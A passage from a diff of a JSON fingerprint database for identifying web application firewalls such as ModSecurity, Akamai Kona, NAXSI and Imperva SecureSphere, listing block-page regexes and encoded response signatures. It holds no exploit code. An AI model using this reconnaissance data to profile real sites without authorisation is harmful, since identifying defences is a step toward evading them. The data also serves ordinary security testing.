"665d:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chS1XaTC", + "4fed:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC" + ] + }, + "knownsec": { + "company": "Knownsec", + "name": "KS-WAF", + "regex": "url\\('/ks-waf-error\\.png'\\)", + "signatures": [] + }, + "kona": { + "company": "Akamai Technologies", + "name": "Kona Site Defender", + "regex": "(?s)Server: AkamaiGHost.+?You don't have permission to access|\\b18\\.[0-9a-f]{8}.1[0-9]{9}\\.[0-9a-f]{7}\\b", + "signatures": [ + "b996:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "1893:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkwI2FZjxtDtAeq+c3qA4chS1XKTC", + "165b:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "12b3:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "3426:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "e197:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "eb57:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", + "94ed:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "5ca8:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "cc5b:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "e7d9:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "bd78:RVZXum60OEhCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "6cbc:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD", + "a40d:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "1f03:RVZXum60OEhCWapBYKYPk4JzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD", + "e120:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "7ae5:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "6bf2:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "1db3:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "fcbb:RVZXum60OEhCWapAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "d1b6:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "8b30:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "8db8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "8900:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "677e:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "a13a:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "579e:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "82b4:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD", + "22e4:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "bd0e:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "8976:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "e34c:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" + ] + }, + "malcare": { + "company": "Inactiv", + "name": "MalCare", + "regex": "Blocked because of Malicious Activities|Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare", + "signatures": [ + "def2:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "modsecurity": { + "company": "Trustwave", + "name": "ModSecurity", + "regex": "(?i)Server:.+mod_security|This error was generated by Mod_Security|/modsecurity\\-errorpage/|One or more things in your request were suspicious|rules of the mod_security module|mod_security rules triggered|Protected by Mod Security|HTTP Error 40\\d\\.0 - ModSecurity Action|40\\d ModSecurity Action|ModSecurity IIS \\(\\d+bits\\)", + "signatures": [ + "46d5:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "1ece:RVZXum61OEhCWapBYKcPk4JzWOpohc4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "69c6:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "28eb:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthtOj+hXrAB16FcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC", + "3918:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "511d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "f694:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "51ca:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "e18b:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "6e99:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "dd72:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "f53e:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "e15c:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "ded8:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "6e99:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "7986:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "02b2:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "4602:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "b1a2:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "5e9a:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "35c4:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XKTC", + "c697:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhZOnthtOj+hX7AB16FcPhJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "85e3:RVZXum60OElCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "7d7f:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD", + "064b:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPhJOdLsXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "5659:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUYMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "94b1:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "7951:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD", + "b83a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUYMrmRWg1qQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTD", + "4191:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUYMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD" + ] + }, + "naxsi": { + "company": "NBS System", + "name": "NAXSI", + "regex": "(?i)Blocked By NAXSI|Naxsi Blocked Information|naxsi/waf", + "signatures": [ + "19ee:RVdXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZnxtDtBeq+c36A4chW1XaTC" + ] + }, + "netscaler": { + "company": "Citrix", + "name": "NetScaler AppFirewall", + "regex": "Application Firewall Block Page|Violation Category: APPFW_|AppFW Session ID|Access has been blocked - if you feel this is in error, please contact the site administrators quoting the following", + "signatures": [ + "9c6c:RVdXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMrmRWg1qQJbX3uhdOn9hsOj6hXrAA16BcPhJOdLsXo2tKaK99n+i6c4RmkgI2FZnxtDtAeq6c3qA4chS1XKTC" + ] + }, + "newdefend": { + "company": "Newdefend", + "name": "Newdefend", + "regex": "Server: NewDefend|/nd_block/", + "signatures": [ + "1ba1:RVZXu261OElCWapBYKYPk4JzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthsOj+hX7AB16FcPxJPdLoXo2tKaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTD" + ] + }, + "nexusguard": { + "company": "Nexusguard Limited", + "name": "Nexusguard", + "regex": "speresources\\.nexusguard\\.com/wafpage/[^>]*#\\d{3};|

Powered by Nexusguard

", + "signatures": [ + "869d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC" + ] + }, + "ninjafirewall": { + "company": "NinTechNet", + "name": "NinjaFirewall", + "regex": "NinjaFirewall: 403 Forbidden|For security reasons?, it was blocked and logged", + "signatures": [ + "2c12:RVZXum60OEhCWapBYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9hsOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtBeq+c3qA4chW1XaTC" + ] + }, + "onmessageshield": { + "company": "Blackbaud", + "name": "onMessage Shield", + "regex": "This site is protected by an enhanced security system to ensure a safe browsing experience|onMessage SHIELD", + "signatures": [ + "125a:RVdXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZnxtDtBeq+c36A5chW1XaTC" + ] + }, + "paloalto": { + "company": "Palo Alto Networks", + "name": "Palo Alto", + "regex": "has been blocked in accordance with company policy|Palo Alto Next Generation Security Platform", + "signatures": [ + "862a:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC", + "5fe6:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthsOj+hXrAA16BcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC", + "cffd:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJPdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC", + "1427:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "fa37:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "9135:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC", + "953a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj+hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC" + ] + }, + "perimeterx": { + "company": "PerimeterX", + "name": "PerimeterX", + "regex": "https://www.perimeterx.com/whywasiblocked", + "signatures": [] + }, + "profense": { + "company": "ArmorLogic", + "name": "Profense", + "regex": "Server: Profense", + "signatures": [ + "eaee:RVZXum60OEhCWapAYKYPkoJyWOtohM4JiUcMr2RWg1uQJbX3uhdOnthsOj+hXrAB16FcPxJOdLsXo2tLaK99n+i6c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC" + ] + }, + "radware": { + "company": "Radware", + "name": "AppWall", + "regex": "Unauthorized Request Blocked|You are seeing this page because we have detected unauthorized activity|mailto:CloudWebSec@radware\\.com", + "signatures": [ + "e68e:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZnxtDtAeq+c36A5chW1XaTD", + "48fa:RVdXu260OEhCWapBYKcPkoJzWOpohM4JiUYMrmRXg1uQJbX3uhdOn9hsOj+hX7AA16BcPxJOdLsXomtKaK59n+i6c4RmkgI2FZnxtDtAeq6c3qA5chW1XaTD", + "8fc4:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI3FZnxtDtAeq+c36A5chW1XaTD" + ] + }, + "reblaze": { + "company": "Reblaze", + "name": "Reblaze", + "regex": "For further information, do not hesitate to contact us", + "signatures": [ + "86fb:RVZXum61OElCWKpAYKcPkoJzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthsOj6hXrAB16BcPhJPdLoXo2tLaK99n+i7c4RmkgI2FZjxtDtBeq+c36A5chW1XaTD" + ] + }, + "requestvalidationmode": { + "company": "Microsoft", + "name": "ASP.NET RequestValidationMode", + "regex": "HttpRequestValidationException|Request Validation has detected a potentially dangerous client input value|ASP\\.NET has detected data in the request that is potentially dangerous", + "signatures": [ + "7ecd:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC", + "919b:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTD", + "14fa:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XaTC", + "a10d:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "7564:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPhJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" + ] + }, + "rsfirewall": { + "company": "RSJoomla!", + "name": "RSFirewall", + "regex": "COM_RSFIREWALL_", + "signatures": [ + "d829:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC" + ] + }, + "safe3": { + "company": "Safe3", + "name": "Safe3", + "regex": "Server: Safe3 Web Firewall|Safe3waf/", + "signatures": [ + "1b84:RVZXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "safedog": { + "company": "Safedog", + "name": "Safedog", + "regex": "Server: Safedog|safedogsite/broswer_logo\\.jpg|404\\.safedog\\.cn/sitedog_stat\\.html|404\\.safedog\\.cn/images/safedogsite/head\\.png", + "signatures": [ + "0ee1:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "28a0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhdOnthsOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC", + "90fa:RVZXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD" + ] + }, + "safeline": { + "company": "Chaitin Tech", + "name": "SafeLine Next Gen WAF", + "regex": "<!\\-\\- event_id: [0-9a-f]{32} \\-\\->", + "signatures": [] + }, + "secureentry": { + "company": "United Security Providers", + "name": "Secure Entry Server", + "regex": "Server: Secure Entry Server", + "signatures": [ + "6249:RVZXum60OEhCWKpAYKYPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "secureiis": { + "company": "BeyondTrust", + "name": "SecureIIS Web Server Security", + "regex": "//www\\.eeye\\.com/SecureIIS/|\\?subject=[^>]*SecureIIS Error|SecureIIS[^<]+Web Server Protection", + "signatures": [ + "b43e:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUcMrmRWg1qQJbX3uhdOnthsOj+hX7AB16BcPhJOdLoXo2tKaK99n+i6c4VmkwI3FZnxtDtBeq6c36A4chS1XaTC", + "71c7:RVZXum61OElCWKpAYKYPk4JyWOpohc4IiUYMr2RWg1uQJbX2uhdOnthtOj+hXrAB16FcPhJOdLoXo2tLaK99nui7c4RmkwI2FZjxtDtAeq+c36A4chW1XaTC", + "f2ed:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4VmkwI3FZjxtDtAeq6c36A4chS1XaTC" + ] + }, + "secupress": { + "company": "SecuPress", + "name": "SecuPress", + "regex": "<h1>SecuPress</h1><h2>\\d{3}", + "signatures": [ + "bcb4:RVZXum60OEhCWKpAYKYPkoJyWOpohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "shieldsecurity": { + "company": "One Dollar Plugin", + "name": "Shield Security", + "regex": "Something in the URL, Form or Cookie data wasn't appropriate", + "signatures": [ + "e41d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "389c:RVZXum61OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "a79a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTD" + ] + }, + "securesphere": { + "company": "Imperva", + "name": "SecureSphere", + "regex": "<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\d{19}|N/A)", + "signatures": [ + "c055:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RWg1uQJbX2uhZOnthsOj+hX7AB16FcPxJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "f460:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "9113:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "dc2c:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + "599d:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "a86e:RVZXum60OEhCWapBYKYPk4JyWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC", + 